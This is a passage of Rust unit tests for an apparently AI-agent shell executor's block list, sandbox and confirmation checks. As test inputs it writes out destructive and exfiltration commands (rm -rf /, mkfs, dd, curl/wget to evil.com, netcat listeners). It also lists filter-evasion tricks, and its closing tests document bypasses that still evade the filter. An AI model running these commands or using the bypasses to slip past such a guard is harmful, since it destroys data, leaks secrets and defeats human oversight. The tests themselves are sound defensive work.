1011            destination: log_path.display().to_string(),
1012        };
1013        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1014        let config = ShellConfig {
1015            timeout: 1,
1016            ..default_config()
1017        };
1018        let executor = ShellExecutor::new(&config).with_audit(logger);
1019        let _ = executor.execute("```bash\nsleep 60\n```").await;
1020        let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1021        assert!(
1022            content.contains("\"type\":\"timeout\""),
1023            "expected AuditResult::Timeout, got: {content}"
1024        );
1025        assert!(
1026            !content.contains("\"type\":\"error\""),
1027            "timeout must not be logged as error: {content}"
1028        );
1029    }
1030
1031    #[tokio::test]
1032    async fn execute_no_blocks_returns_none() {
1033        let executor = ShellExecutor::new(&default_config());
1034        let result = executor.execute("plain text, no blocks").await;
1035        assert!(result.is_ok());
1036        assert!(result.unwrap().is_none());
1037    }
1038
1039    #[tokio::test]
1040    async fn execute_multiple_blocks_counted() {
1041        let executor = ShellExecutor::new(&default_config());
1042        let response = "```bash\necho one\n```\n```bash\necho two\n```";
1043        let result = executor.execute(response).await;
1044        let output = result.unwrap().unwrap();
1045        assert_eq!(output.blocks_executed, 2);
1046        assert!(output.summary.contains("one"));
1047        assert!(output.summary.contains("two"));
1048    }
1049
1050    // --- command filtering tests ---
1051
1052    #[test]
1053    fn default_blocked_always_active() {
1054        let executor = ShellExecutor::new(&default_config());
1055        assert!(executor.find_blocked_command("rm -rf /").is_some());
1056        assert!(executor.find_blocked_command("sudo apt install").is_some());
1057        assert!(
1058            executor
1059                .find_blocked_command("mkfs.ext4 /dev/sda")
1060                .is_some()
1061        );
1062        assert!(
1063            executor
1064                .find_blocked_command("dd if=/dev/zero of=disk")
1065                .is_some()
1066        );
1067    }
1068
1069    #[test]
1070    fn user_blocked_additive() {
1071        let config = ShellConfig {
1072            blocked_commands: vec!["custom-danger".to_owned()],
1073            ..default_config()
1074        };
1075        let executor = ShellExecutor::new(&config);
1076        assert!(executor.find_blocked_command("sudo rm").is_some());
1077        assert!(
1078            executor
1079                .find_blocked_command("custom-danger script")
1080                .is_some()
1081        );
1082    }
1083
1084    #[test]
1085    fn blocked_prefix_match() {
1086        let executor = ShellExecutor::new(&default_config());
1087        assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
1088    }
1089
1090    #[test]
1091    fn blocked_infix_match() {
1092        let executor = ShellExecutor::new(&default_config());
1093        assert!(
1094            executor
1095                .find_blocked_command("echo hello && sudo rm")
1096                .is_some()
1097        );
1098    }
1099
1100    #[test]
1101    fn blocked_case_insensitive() {
1102        let executor = ShellExecutor::new(&default_config());
1103        assert!(executor.find_blocked_command("SUDO apt install").is_some());
1104        assert!(executor.find_blocked_command("Sudo apt install").is_some());
1105        assert!(executor.find_blocked_command("SuDo apt install").is_some());
1106        assert!(
1107            executor
1108                .find_blocked_command("MKFS.ext4 /dev/sda")
1109                .is_some()
1110        );
1111        assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1112        assert!(executor.find_blocked_command("RM -RF /").is_some());
1113    }
1114
1115    #[test]
1116    fn safe_command_passes() {
1117        let executor = ShellExecutor::new(&default_config());
1118        assert!(executor.find_blocked_command("echo hello").is_none());
1119        assert!(executor.find_blocked_command("ls -la").is_none());
1120        assert!(executor.find_blocked_command("cat file.txt").is_none());
1121        assert!(executor.find_blocked_command("cargo build").is_none());
1122    }
1123
1124    #[test]
1125    fn partial_match_accepted_tradeoff() {
1126        let executor = ShellExecutor::new(&default_config());
1127        // "sudoku" is not the "sudo" command — word-boundary matching prevents false positive
1128        assert!(executor.find_blocked_command("sudoku").is_none());
1129    }
1130
1131    #[test]
1132    fn multiline_command_blocked() {
1133        let executor = ShellExecutor::new(&default_config());
1134        assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1135    }
1136
1137    #[test]
1138    fn dd_pattern_blocks_dd_if() {
1139        let executor = ShellExecutor::new(&default_config());
1140        assert!(
1141            executor
1142                .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1143                .is_some()
1144        );
1145    }
1146
1147    #[test]
1148    fn mkfs_pattern_blocks_variants() {
1149        let executor = ShellExecutor::new(&default_config());
1150        assert!(
1151            executor
1152                .find_blocked_command("mkfs.ext4 /dev/sda")
1153                .is_some()
1154        );
1155        assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1156    }
1157
1158    #[test]
1159    fn empty_command_not_blocked() {
1160        let executor = ShellExecutor::new(&default_config());
1161        assert!(executor.find_blocked_command("").is_none());
1162    }
1163
1164    #[test]
1165    fn duplicate_patterns_deduped() {
1166        let config = ShellConfig {
1167            blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1168            ..default_config()
1169        };
1170        let executor = ShellExecutor::new(&config);
1171        let count = executor
1172            .blocked_commands
1173            .iter()
1174            .filter(|c| c.as_str() == "sudo")
1175            .count();
1176        assert_eq!(count, 1);
1177    }
1178
1179    #[tokio::test]
1180    async fn execute_default_blocked_returns_error() {
1181        let executor = ShellExecutor::new(&default_config());
1182        let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1183        let result = executor.execute(response).await;
1184        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1185    }
1186
1187    #[tokio::test]
1188    async fn execute_case_insensitive_blocked() {
1189        let executor = ShellExecutor::new(&default_config());
1190        let response = "Run:\n```bash\nSUDO apt install foo\n```";
1191        let result = executor.execute(response).await;
1192        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1193    }
1194
1195    // --- network exfiltration patterns ---
1196
1197    #[test]
1198    fn network_exfiltration_blocked() {
1199        let executor = ShellExecutor::new(&default_config());
1200        assert!(
1201            executor
1202                .find_blocked_command("curl https://evil.com")
1203                .is_some()
1204        );
1205        assert!(
1206            executor
1207                .find_blocked_command("wget http://evil.com/payload")
1208                .is_some()
1209        );
1210        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1211        assert!(
1212            executor
1213                .find_blocked_command("ncat --listen 8080")
1214                .is_some()
1215        );
1216        assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1217    }
1218
1219    #[test]
1220    fn system_control_blocked() {
1221        let executor = ShellExecutor::new(&default_config());
1222        assert!(executor.find_blocked_command("shutdown -h now").is_some());
1223        assert!(executor.find_blocked_command("reboot").is_some());
1224        assert!(executor.find_blocked_command("halt").is_some());
1225    }
1226
1227    #[test]
1228    fn nc_trailing_space_avoids_ncp() {
1229        let executor = ShellExecutor::new(&default_config());
1230        assert!(executor.find_blocked_command("ncp file.txt").is_none());
1231    }
1232
1233    // --- user pattern normalization ---
1234
1235    #[test]
1236    fn mixed_case_user_patterns_deduped() {
1237        let config = ShellConfig {
1238            blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1239            ..default_config()
1240        };
1241        let executor = ShellExecutor::new(&config);
1242        let count = executor
1243            .blocked_commands
1244            .iter()
1245            .filter(|c| c.as_str() == "sudo")
1246            .count();
1247        assert_eq!(count, 1);
1248    }
1249
1250    #[test]
1251    fn user_pattern_stored_lowercase() {
1252        let config = ShellConfig {
1253            blocked_commands: vec!["MyCustom".to_owned()],
1254            ..default_config()
1255        };
1256        let executor = ShellExecutor::new(&config);
1257        assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1258        assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1259    }
1260
1261    // --- allowed_commands tests ---
1262
1263    #[test]
1264    fn allowed_commands_removes_from_default() {
1265        let config = ShellConfig {
1266            allowed_commands: vec!["curl".to_owned()],
1267            ..default_config()
1268        };
1269        let executor = ShellExecutor::new(&config);
1270        assert!(
1271            executor
1272                .find_blocked_command("curl https://example.com")
1273                .is_none()
1274        );
1275        assert!(executor.find_blocked_command("sudo rm").is_some());
1276    }
1277
1278    #[test]
1279    fn allowed_commands_case_insensitive() {
1280        let config = ShellConfig {
1281            allowed_commands: vec!["CURL".to_owned()],
1282            ..default_config()
1283        };
1284        let executor = ShellExecutor::new(&config);
1285        assert!(
1286            executor
1287                .find_blocked_command("curl https://example.com")
1288                .is_none()
1289        );
1290    }
1291
1292    #[test]
1293    fn allowed_does_not_override_explicit_block() {
1294        let config = ShellConfig {
1295            blocked_commands: vec!["curl".to_owned()],
1296            allowed_commands: vec!["curl".to_owned()],
1297            ..default_config()
1298        };
1299        let executor = ShellExecutor::new(&config);
1300        assert!(
1301            executor
1302                .find_blocked_command("curl https://example.com")
1303                .is_some()
1304        );
1305    }
1306
1307    #[test]
1308    fn allowed_unknown_command_ignored() {
1309        let config = ShellConfig {
1310            allowed_commands: vec!["nonexistent-cmd".to_owned()],
1311            ..default_config()
1312        };
1313        let executor = ShellExecutor::new(&config);
1314        assert!(executor.find_blocked_command("sudo rm").is_some());
1315        assert!(
1316            executor
1317                .find_blocked_command("curl https://example.com")
1318                .is_some()
1319        );
1320    }
1321
1322    #[test]
1323    fn empty_allowed_commands_changes_nothing() {
1324        let executor = ShellExecutor::new(&default_config());
1325        assert!(
1326            executor
1327                .find_blocked_command("curl https://example.com")
1328                .is_some()
1329        );
1330        assert!(executor.find_blocked_command("sudo rm").is_some());
1331        assert!(
1332            executor
1333                .find_blocked_command("wget http://evil.com")
1334                .is_some()
1335        );
1336    }
1337
1338    // --- Phase 1: sandbox tests ---
1339
1340    #[test]
1341    fn extract_paths_from_code() {
1342        let paths = extract_paths("cat /etc/passwd && ls /var/log");
1343        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1344    }
1345
1346    #[test]
1347    fn extract_paths_handles_trailing_chars() {
1348        let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1349        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1350    }
1351
1352    #[test]
1353    fn extract_paths_detects_relative() {
1354        let paths = extract_paths("cat ./file.txt ../other");
1355        assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1356    }
1357
1358    #[test]
1359    fn sandbox_allows_cwd_by_default() {
1360        let executor = ShellExecutor::new(&default_config());
1361        let cwd = std::env::current_dir().unwrap();
1362        let cwd_path = cwd.display().to_string();
1363        let code = format!("cat {cwd_path}/file.txt");
1364        assert!(executor.validate_sandbox(&code).is_ok());
1365    }
1366
1367    #[test]
1368    fn sandbox_rejects_path_outside_allowed() {
1369        let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1370        let executor = ShellExecutor::new(&config);
1371        let result = executor.validate_sandbox("cat /etc/passwd");
1372        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1373    }
1374
1375    #[test]
1376    fn sandbox_no_absolute_paths_passes() {
1377        let config = sandbox_config(vec!["/tmp".into()]);
1378        let executor = ShellExecutor::new(&config);
1379        assert!(executor.validate_sandbox("echo hello").is_ok());
1380    }
1381
1382    #[test]
1383    fn sandbox_rejects_dotdot_traversal() {
1384        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1385        let executor = ShellExecutor::new(&config);
1386        let result = executor.validate_sandbox("cat ../../../etc/passwd");
1387        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1388    }
1389
1390    #[test]
1391    fn sandbox_rejects_bare_dotdot() {
1392        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1393        let executor = ShellExecutor::new(&config);
1394        let result = executor.validate_sandbox("cd ..");
1395        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1396    }
1397
1398    #[test]
1399    fn sandbox_rejects_relative_dotslash_outside() {
1400        let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1401        let executor = ShellExecutor::new(&config);
1402        let result = executor.validate_sandbox("cat ./secret.txt");
1403        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1404    }
1405
1406    #[test]
1407    fn sandbox_rejects_absolute_with_embedded_dotdot() {
1408        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1409        let executor = ShellExecutor::new(&config);
1410        let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1411        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1412    }
1413
1414    #[test]
1415    fn has_traversal_detects_dotdot() {
1416        assert!(has_traversal("../etc/passwd"));
1417        assert!(has_traversal("./foo/../bar"));
1418        assert!(has_traversal("/tmp/sandbox/../../etc"));
1419        assert!(has_traversal(".."));
1420        assert!(!has_traversal("./safe/path"));
1421        assert!(!has_traversal("/absolute/path"));
1422        assert!(!has_traversal("no-dots-here"));
1423    }
1424
1425    #[test]
1426    fn extract_paths_detects_dotdot_standalone() {
1427        let paths = extract_paths("cd ..");
1428        assert_eq!(paths, vec!["..".to_owned()]);
1429    }
1430
1431    // --- Phase 1: allow_network tests ---
1432
1433    #[test]
1434    fn allow_network_false_blocks_network_commands() {
1435        let config = ShellConfig {
1436            allow_network: false,
1437            ..default_config()
1438        };
1439        let executor = ShellExecutor::new(&config);
1440        assert!(
1441            executor
1442                .find_blocked_command("curl https://example.com")
1443                .is_some()
1444        );
1445        assert!(
1446            executor
1447                .find_blocked_command("wget http://example.com")
1448                .is_some()
1449        );
1450        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1451    }
1452
1453    #[test]
1454    fn allow_network_true_keeps_default_behavior() {
1455        let config = ShellConfig {
1456            allow_network: true,
1457            ..default_config()
1458        };
1459        let executor = ShellExecutor::new(&config);
1460        // Network commands are still blocked by DEFAULT_BLOCKED
1461        assert!(
1462            executor
1463                .find_blocked_command("curl https://example.com")
1464                .is_some()
1465        );
1466    }
1467
1468    // --- Phase 2a: confirmation tests ---
1469
1470    #[test]
1471    fn find_confirm_command_matches_pattern() {
1472        let config = ShellConfig {
1473            confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1474            ..default_config()
1475        };
1476        let executor = ShellExecutor::new(&config);
1477        assert_eq!(
1478            executor.find_confirm_command("rm /tmp/file.txt"),
1479            Some("rm ")
1480        );
1481        assert_eq!(
1482            executor.find_confirm_command("git push -f origin main"),
1483            Some("git push -f")
1484        );
1485    }
1486
1487    #[test]
1488    fn find_confirm_command_case_insensitive() {
1489        let config = ShellConfig {
1490            confirm_patterns: vec!["drop table".into()],
1491            ..default_config()
1492        };
1493        let executor = ShellExecutor::new(&config);
1494        assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1495    }
1496
1497    #[test]
1498    fn find_confirm_command_no_match() {
1499        let config = ShellConfig {
1500            confirm_patterns: vec!["rm ".into()],
1501            ..default_config()
1502        };
1503        let executor = ShellExecutor::new(&config);
1504        assert!(executor.find_confirm_command("echo hello").is_none());
1505    }
1506
1507    #[tokio::test]
1508    async fn confirmation_required_returned() {
1509        let config = ShellConfig {
1510            confirm_patterns: vec!["rm ".into()],
1511            ..default_config()
1512        };
1513        let executor = ShellExecutor::new(&config);
1514        let response = "```bash\nrm file.txt\n```";
1515        let result = executor.execute(response).await;
1516        assert!(matches!(
1517            result,
1518            Err(ToolError::ConfirmationRequired { .. })
1519        ));
1520    }
1521
1522    #[tokio::test]
1523    async fn execute_confirmed_skips_confirmation() {
1524        let config = ShellConfig {
1525            confirm_patterns: vec!["echo".into()],
1526            ..default_config()
1527        };
1528        let executor = ShellExecutor::new(&config);
1529        let response = "```bash\necho confirmed\n```";
1530        let result = executor.execute_confirmed(response).await;
1531        assert!(result.is_ok());
1532        let output = result.unwrap().unwrap();
1533        assert!(output.summary.contains("confirmed"));
1534    }
1535
1536    // --- default confirm patterns test ---
1537
1538    #[test]
1539    fn default_confirm_patterns_loaded() {
1540        let config = ShellConfig::default();
1541        assert!(!config.confirm_patterns.is_empty());
1542        assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1543        assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1544        assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1545        assert!(config.confirm_patterns.contains(&"`".to_owned()));
1546    }
1547
1548    // --- bypass-resistant matching tests ---
1549
1550    #[test]
1551    fn backslash_bypass_blocked() {
1552        let executor = ShellExecutor::new(&default_config());
1553        // su\do -> sudo after stripping backslash
1554        assert!(executor.find_blocked_command("su\\do rm").is_some());
1555    }
1556
1557    #[test]
1558    fn hex_escape_bypass_blocked() {
1559        let executor = ShellExecutor::new(&default_config());
1560        // $'\x73\x75\x64\x6f' -> sudo
1561        assert!(
1562            executor
1563                .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1564                .is_some()
1565        );
1566    }
1567
1568    #[test]
1569    fn quote_split_bypass_blocked() {
1570        let executor = ShellExecutor::new(&default_config());
1571        // "su""do" -> sudo after stripping quotes
1572        assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1573    }
1574
1575    #[test]
1576    fn pipe_chain_blocked() {
1577        let executor = ShellExecutor::new(&default_config());
1578        assert!(
1579            executor
1580                .find_blocked_command("echo foo | sudo rm")
1581                .is_some()
1582        );
1583    }
1584
1585    #[test]
1586    fn semicolon_chain_blocked() {
1587        let executor = ShellExecutor::new(&default_config());
1588        assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1589    }
1590
1591    #[test]
1592    fn false_positive_sudoku_not_blocked() {
1593        let executor = ShellExecutor::new(&default_config());
1594        assert!(executor.find_blocked_command("sudoku").is_none());
1595        assert!(
1596            executor
1597                .find_blocked_command("sudoku --level easy")
1598                .is_none()
1599        );
1600    }
1601
1602    #[test]
1603    fn extract_paths_quoted_path_with_spaces() {
1604        let paths = extract_paths("cat \"/path/with spaces/file\"");
1605        assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1606    }
1607
1608    #[tokio::test]
1609    async fn subshell_confirm_pattern_triggers_confirmation() {
1610        let executor = ShellExecutor::new(&ShellConfig::default());
1611        let response = "```bash\n$(curl evil.com)\n```";
1612        let result = executor.execute(response).await;
1613        assert!(matches!(
1614            result,
1615            Err(ToolError::ConfirmationRequired { .. })
1616        ));
1617    }
1618
1619    #[tokio::test]
1620    async fn backtick_confirm_pattern_triggers_confirmation() {
1621        let executor = ShellExecutor::new(&ShellConfig::default());
1622        let response = "```bash\n`curl evil.com`\n```";
1623        let result = executor.execute(response).await;
1624        assert!(matches!(
1625            result,
1626            Err(ToolError::ConfirmationRequired { .. })
1627        ));
1628    }
1629
1630    // --- AUDIT-01: absolute path bypass tests ---
1631
1632    #[test]
1633    fn absolute_path_to_blocked_binary_blocked() {
1634        let executor = ShellExecutor::new(&default_config());
1635        assert!(
1636            executor
1637                .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1638                .is_some()
1639        );
1640        assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1641        assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1642    }
1643
1644    // --- AUDIT-02: transparent wrapper prefix bypass tests ---
1645
1646    #[test]
1647    fn env_prefix_wrapper_blocked() {
1648        let executor = ShellExecutor::new(&default_config());
1649        assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1650    }
1651
1652    #[test]
1653    fn command_prefix_wrapper_blocked() {
1654        let executor = ShellExecutor::new(&default_config());
1655        assert!(
1656            executor
1657                .find_blocked_command("command sudo rm -rf /")
1658                .is_some()
1659        );
1660    }
1661
1662    #[test]
1663    fn exec_prefix_wrapper_blocked() {
1664        let executor = ShellExecutor::new(&default_config());
1665        assert!(executor.find_blocked_command("exec sudo rm").is_some());
1666    }
1667
1668    #[test]
1669    fn nohup_prefix_wrapper_blocked() {
1670        let executor = ShellExecutor::new(&default_config());
1671        assert!(executor.find_blocked_command("nohup reboot now").is_some());
1672    }
1673
1674    #[test]
1675    fn absolute_path_via_env_wrapper_blocked() {
1676        let executor = ShellExecutor::new(&default_config());
1677        assert!(
1678            executor
1679                .find_blocked_command("env /usr/bin/sudo rm -rf /")
1680                .is_some()
1681        );
1682    }
1683
1684    // --- AUDIT-03: octal escape bypass tests ---
1685
1686    #[test]
1687    fn octal_escape_bypass_blocked() {
1688        let executor = ShellExecutor::new(&default_config());
1689        // $'\163\165\144\157' = sudo in octal
1690        assert!(
1691            executor
1692                .find_blocked_command("$'\\163\\165\\144\\157' rm")
1693                .is_some()
1694        );
1695    }
1696
1697    #[tokio::test]
1698    async fn with_audit_attaches_logger() {
1699        use crate::audit::AuditLogger;
1700        use crate::config::AuditConfig;
1701        let config = default_config();
1702        let executor = ShellExecutor::new(&config);
1703        let audit_config = AuditConfig {
1704            enabled: true,
1705            destination: "stdout".into(),
1706        };
1707        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1708        let executor = executor.with_audit(logger);
1709        assert!(executor.audit_logger.is_some());
1710    }
1711
1712    #[test]
1713    fn chrono_now_returns_valid_timestamp() {
1714        let ts = chrono_now();
1715        assert!(!ts.is_empty());
1716        let parsed: u64 = ts.parse().unwrap();
1717        assert!(parsed > 0);
1718    }
1719
1720    #[cfg(unix)]
1721    #[tokio::test]
1722    async fn execute_bash_injects_extra_env() {
1723        let mut env = std::collections::HashMap::new();
1724        env.insert(
1725            "ZEPH_TEST_INJECTED_VAR".to_owned(),
1726            "hello-from-env".to_owned(),
1727        );
1728        let (result, code) = execute_bash(
1729            "echo $ZEPH_TEST_INJECTED_VAR",
1730            Duration::from_secs(5),
1731            None,
1732            None,
1733            Some(&env),
1734        )
1735        .await;
1736        assert_eq!(code, 0);
1737        assert!(result.contains("hello-from-env"));
1738    }
1739
1740    #[cfg(unix)]
1741    #[tokio::test]
1742    async fn shell_executor_set_skill_env_injects_vars() {
1743        let config = ShellConfig {
1744            timeout: 5,
1745            allowed_commands: vec![],
1746            blocked_commands: vec![],
1747            allowed_paths: vec![],
1748            confirm_patterns: vec![],
1749            allow_network: false,
1750        };
1751        let executor = ShellExecutor::new(&config);
1752        let mut env = std::collections::HashMap::new();
1753        env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1754        executor.set_skill_env(Some(env));
1755        use crate::executor::ToolExecutor;
1756        let result = executor
1757            .execute("```bash\necho $MY_SKILL_SECRET\n```")
1758            .await
1759            .unwrap()
1760            .unwrap();
1761        assert!(result.summary.contains("injected-value"));
1762        executor.set_skill_env(None);
1763    }
1764
1765    #[cfg(unix)]
1766    #[tokio::test]
1767    async fn execute_bash_error_handling() {
1768        let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1769        assert_eq!(result, "(no output)");
1770        assert_eq!(code, 1);
1771    }
1772
1773    #[cfg(unix)]
1774    #[tokio::test]
1775    async fn execute_bash_command_not_found() {
1776        let (result, _) = execute_bash(
1777            "nonexistent-command-xyz",
1778            Duration::from_secs(5),
1779            None,
1780            None,
1781            None,
1782        )
1783        .await;
1784        assert!(result.contains("[stderr]") || result.contains("[error]"));
1785    }
1786
1787    #[test]
1788    fn extract_paths_empty() {
1789        assert!(extract_paths("").is_empty());
1790    }
1791
1792    #[tokio::test]
1793    async fn policy_deny_blocks_command() {
1794        let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1795        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1796        let response = "```bash\nforbidden command\n```";
1797        let result = executor.execute(response).await;
1798        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1799    }
1800
1801    #[tokio::test]
1802    async fn policy_ask_requires_confirmation() {
1803        let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1804        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1805        let response = "```bash\nrisky operation\n```";
1806        let result = executor.execute(response).await;
1807        assert!(matches!(
1808            result,
1809            Err(ToolError::ConfirmationRequired { .. })
1810        ));
1811    }
1812
1813    #[tokio::test]
1814    async fn policy_allow_skips_checks() {
1815        use crate::permissions::PermissionRule;
1816        use std::collections::HashMap;
1817        let mut rules = HashMap::new();
1818        rules.insert(
1819            "bash".to_owned(),
1820            vec![PermissionRule {
1821                pattern: "*".to_owned(),
1822                action: PermissionAction::Allow,
1823            }],
1824        );
1825        let policy = PermissionPolicy::new(rules);
1826        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1827        let response = "```bash\necho hello\n```";
1828        let result = executor.execute(response).await;
1829        assert!(result.is_ok());
1830    }
1831
1832    #[tokio::test]
1833    async fn blocked_command_logged_to_audit() {
1834        use crate::audit::AuditLogger;
1835        use crate::config::AuditConfig;
1836        let config = ShellConfig {
1837            blocked_commands: vec!["dangerous".to_owned()],
1838            ..default_config()
1839        };
1840        let audit_config = AuditConfig {
1841            enabled: true,
1842            destination: "stdout".into(),
1843        };
1844        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1845        let executor = ShellExecutor::new(&config).with_audit(logger);
1846        let response = "```bash\ndangerous command\n```";
1847        let result = executor.execute(response).await;
1848        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1849    }
1850
1851    #[test]
1852    fn tool_definitions_returns_bash() {
1853        let executor = ShellExecutor::new(&default_config());
1854        let defs = executor.tool_definitions();
1855        assert_eq!(defs.len(), 1);
1856        assert_eq!(defs[0].id, "bash");
1857        assert_eq!(
1858            defs[0].invocation,
1859            crate::registry::InvocationHint::FencedBlock("bash")
1860        );
1861    }
1862
1863    #[test]
1864    fn tool_definitions_schema_has_command_param() {
1865        let executor = ShellExecutor::new(&default_config());
1866        let defs = executor.tool_definitions();
1867        let obj = defs[0].schema.as_object().unwrap();
1868        let props = obj["properties"].as_object().unwrap();
1869        assert!(props.contains_key("command"));
1870        let req = obj["required"].as_array().unwrap();
1871        assert!(req.iter().any(|v| v.as_str() == Some("command")));
1872    }
1873
1874    #[tokio::test]
1875    #[cfg(not(target_os = "windows"))]
1876    async fn cancel_token_kills_child_process() {
1877        let token = CancellationToken::new();
1878        let token_clone = token.clone();
1879        tokio::spawn(async move {
1880            tokio::time::sleep(Duration::from_millis(100)).await;
1881            token_clone.cancel();
1882        });
1883        let (result, code) = execute_bash(
1884            "sleep 60",
1885            Duration::from_secs(30),
1886            None,
1887            Some(&token),
1888            None,
1889        )
1890        .await;
1891        assert_eq!(code, 130);
1892        assert!(result.contains("[cancelled]"));
1893    }
1894
1895    #[tokio::test]
1896    #[cfg(not(target_os = "windows"))]
1897    async fn cancel_token_none_does_not_cancel() {
1898        let (result, code) =
1899            execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1900        assert_eq!(code, 0);
1901        assert!(result.contains("ok"));
1902    }
1903
1904    #[tokio::test]
1905    #[cfg(not(target_os = "windows"))]
1906    async fn cancel_kills_child_process_group() {
1907        use std::path::Path;
1908        let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1909        let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1910        let token = CancellationToken::new();
1911        let token_clone = token.clone();
1912        tokio::spawn(async move {
1913            tokio::time::sleep(Duration::from_millis(200)).await;
1914            token_clone.cancel();
1915        });
1916        let (result, code) =
1917            execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1918        assert_eq!(code, 130);
1919        assert!(result.contains("[cancelled]"));
1920        // Wait briefly, then verify the subprocess did NOT create the marker file
1921        tokio::time::sleep(Duration::from_millis(500)).await;
1922        assert!(
1923            !Path::new(&marker).exists(),
1924            "subprocess should have been killed with process group"
1925        );
1926    }
1927
1928    #[tokio::test]
1929    #[cfg(not(target_os = "windows"))]
1930    async fn shell_executor_cancel_returns_cancelled_error() {
1931        let token = CancellationToken::new();
1932        let token_clone = token.clone();
1933        tokio::spawn(async move {
1934            tokio::time::sleep(Duration::from_millis(100)).await;
1935            token_clone.cancel();
1936        });
1937        let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1938        let response = "```bash\nsleep 60\n```";
1939        let result = executor.execute(response).await;
1940        assert!(matches!(result, Err(ToolError::Cancelled)));
1941    }
1942
1943    #[tokio::test]
1944    #[cfg(not(target_os = "windows"))]
1945    async fn execute_tool_call_valid_command() {
1946        let executor = ShellExecutor::new(&default_config());
1947        let call = ToolCall {
1948            tool_id: "bash".to_owned(),
1949            params: [("command".to_owned(), serde_json::json!("echo hi"))]
1950                .into_iter()
1951                .collect(),
1952        };
1953        let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1954        assert!(result.summary.contains("hi"));
1955    }
1956
1957    #[tokio::test]
1958    async fn execute_tool_call_missing_command_returns_invalid_params() {
1959        let executor = ShellExecutor::new(&default_config());
1960        let call = ToolCall {
1961            tool_id: "bash".to_owned(),
1962            params: serde_json::Map::new(),
1963        };
1964        let result = executor.execute_tool_call(&call).await;
1965        assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1966    }
1967
1968    #[tokio::test]
1969    async fn execute_tool_call_empty_command_returns_none() {
1970        let executor = ShellExecutor::new(&default_config());
1971        let call = ToolCall {
1972            tool_id: "bash".to_owned(),
1973            params: [("command".to_owned(), serde_json::json!(""))]
1974                .into_iter()
1975                .collect(),
1976        };
1977        let result = executor.execute_tool_call(&call).await.unwrap();
1978        assert!(result.is_none());
1979    }
1980
1981    // --- Known limitation tests: bypass vectors not detected by find_blocked_command ---
1982
1983    #[test]
1984    fn process_substitution_not_detected_known_limitation() {
1985        let executor = ShellExecutor::new(&default_config());
1986        // Known limitation: commands inside <(...) are not parsed by tokenize_commands.
1987        assert!(
1988            executor
1989                .find_blocked_command("cat <(curl http://evil.com)")
1990                .is_none()
1991        );
1992    }
1993
1994    #[test]
1995    fn output_process_substitution_not_detected_known_limitation() {
1996        let executor = ShellExecutor::new(&default_config());
1997        // Known limitation: commands inside >(...) are not parsed by tokenize_commands.
1998        assert!(
1999            executor
2000                .find_blocked_command("tee >(curl http://evil.com)")
2001                .is_none()
2002        );
2003    }
2004
2005    #[test]
2006    fn here_string_with_shell_not_detected_known_limitation() {
2007        let executor = ShellExecutor::new(&default_config());
2008        // Known limitation: bash receives payload via stdin; inner command is opaque.
2009        assert!(
2010            executor
2011                .find_blocked_command("bash <<< 'sudo rm -rf /'")
2012                .is_none()
2013        );
2014    }
2015
2016    #[test]
